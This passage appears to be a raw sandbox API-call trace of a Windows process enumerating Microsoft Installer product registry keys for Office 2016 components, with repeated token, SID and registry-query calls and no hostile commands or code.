[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.729] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.729] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.729] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.729] GetCurrentThreadId () returned 0xf50 [0068.729] GetCurrentThreadId () returned 0xf50 [0068.729] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.729] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.729] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.729] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.729] LocalFree (hMem=0x32f770) returned 0x0 [0068.729] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.729] GetCurrentThreadId () returned 0xf50 [0068.729] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.729] lstrlenW (lpString="{90160000-002A-0409-1000-0000000FF1CE}") returned 38 [0068.730] lstrlenW (lpString="00006109A20090400100000000F01FEC") returned 32 [0068.730] GetCurrentThreadId () returned 0xf50 [0068.730] GetCurrentThreadId () returned 0xf50 [0068.730] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.730] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.730] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.730] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.730] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.730] lstrlenW (lpString="00006109A20090400100000000F01FEC") returned 32 [0068.730] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.730] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109A20090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.730] GetCurrentThreadId () returned 0xf50 [0068.730] GetCurrentThreadId () returned 0xf50 [0068.730] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.730] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.730] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.731] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.731] LocalFree (hMem=0x32f770) returned 0x0 [0068.731] lstrlenW (lpString="00006109A20090400100000000F01FEC") returned 32 [0068.731] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.731] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109A20090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.731] lstrlenW (lpString="00006109A20090400100000000F01FEC") returned 32 [0068.731] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.731] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109A20090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.731] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="C92B0BF0A5EF5884A9F77F1922D07B64", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.731] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.731] lstrlenW (lpString="{90160000-002A-0409-1000-0000000FF1CE}") returned 38 [0068.731] lstrlenW (lpString="00006109A20090400100000000F01FEC") returned 32 [0068.731] lstrlenW (lpString="00006109A20090400100000000F01FEC") returned 32 [0068.731] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.731] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109A20090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.732] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.732] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.732] lstrlenW (lpString="0") returned 1 [0068.732] lstrlenW (lpString="0") returned 1 [0068.732] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.732] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{0FB0B29C-FE5A-4885-9A7F-F791220DB746}") returned 1 [0068.732] GetCurrentThreadId () returned 0xf50 [0068.732] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.732] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x10, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109AB0090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.732] GetCurrentThreadId () returned 0xf50 [0068.732] GetCurrentThreadId () returned 0xf50 [0068.732] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.732] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.733] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.733] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.733] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.733] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.733] GetCurrentThreadId () returned 0xf50 [0068.733] GetCurrentThreadId () returned 0xf50 [0068.733] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.733] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.733] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.733] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.733] LocalFree (hMem=0x32f770) returned 0x0 [0068.733] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.733] GetCurrentThreadId () returned 0xf50 [0068.733] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.733] lstrlenW (lpString="{90160000-00BA-0409-0000-0000000FF1CE}") returned 38 [0068.733] lstrlenW (lpString="00006109AB0090400000000000F01FEC") returned 32 [0068.733] GetCurrentThreadId () returned 0xf50 [0068.734] GetCurrentThreadId () returned 0xf50 [0068.734] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.734] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.734] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.734] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.734] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.734] lstrlenW (lpString="00006109AB0090400000000000F01FEC") returned 32 [0068.734] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.734] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109AB0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.734] GetCurrentThreadId () returned 0xf50 [0068.734] GetCurrentThreadId () returned 0xf50 [0068.734] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.734] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.734] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.734] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.734] LocalFree (hMem=0x32f770) returned 0x0 [0068.734] lstrlenW (lpString="00006109AB0090400000000000F01FEC") returned 32 [0068.735] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.735] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109AB0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.735] lstrlenW (lpString="00006109AB0090400000000000F01FEC") returned 32 [0068.735] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.735] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109AB0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.735] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="E6119A760A726F14D9FC5E8274265C18", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.735] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.735] lstrlenW (lpString="{90160000-00BA-0409-0000-0000000FF1CE}") returned 38 [0068.735] lstrlenW (lpString="00006109AB0090400000000000F01FEC") returned 32 [0068.735] lstrlenW (lpString="00006109AB0090400000000000F01FEC") returned 32 [0068.735] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.735] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109AB0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.735] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.735] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.735] lstrlenW (lpString="0") returned 1 [0068.736] lstrlenW (lpString="0") returned 1 [0068.736] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.736] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{67A9116E-27A0-41F6-9DCF-E5284762C581}") returned 1 [0068.736] GetCurrentThreadId () returned 0xf50 [0068.736] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.736] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x11, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109B10090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.736] GetCurrentThreadId () returned 0xf50 [0068.736] GetCurrentThreadId () returned 0xf50 [0068.736] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.736] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.736] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.736] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.736] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.736] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.737] GetCurrentThreadId () returned 0xf50 [0068.737] GetCurrentThreadId () returned 0xf50 [0068.737] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.737] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.737] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.737] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.737] LocalFree (hMem=0x32f770) returned 0x0 [0068.737] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.737] GetCurrentThreadId () returned 0xf50 [0068.737] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.737] lstrlenW (lpString="{90160000-001B-0409-0000-0000000FF1CE}") returned 38 [0068.737] lstrlenW (lpString="00006109B10090400000000000F01FEC") returned 32 [0068.737] GetCurrentThreadId () returned 0xf50 [0068.737] GetCurrentThreadId () returned 0xf50 [0068.737] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.738] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.738] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.738] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.738] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.738] lstrlenW (lpString="00006109B10090400000000000F01FEC") returned 32 [0068.738] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.738] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109B10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.738] GetCurrentThreadId () returned 0xf50 [0068.738] GetCurrentThreadId () returned 0xf50 [0068.738] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.738] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.738] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.738] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.738] LocalFree (hMem=0x32f770) returned 0x0 [0068.738] lstrlenW (lpString="00006109B10090400000000000F01FEC") returned 32 [0068.738] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.738] RegOpenKeyExW (in: hKey=0xffffffff80000003, 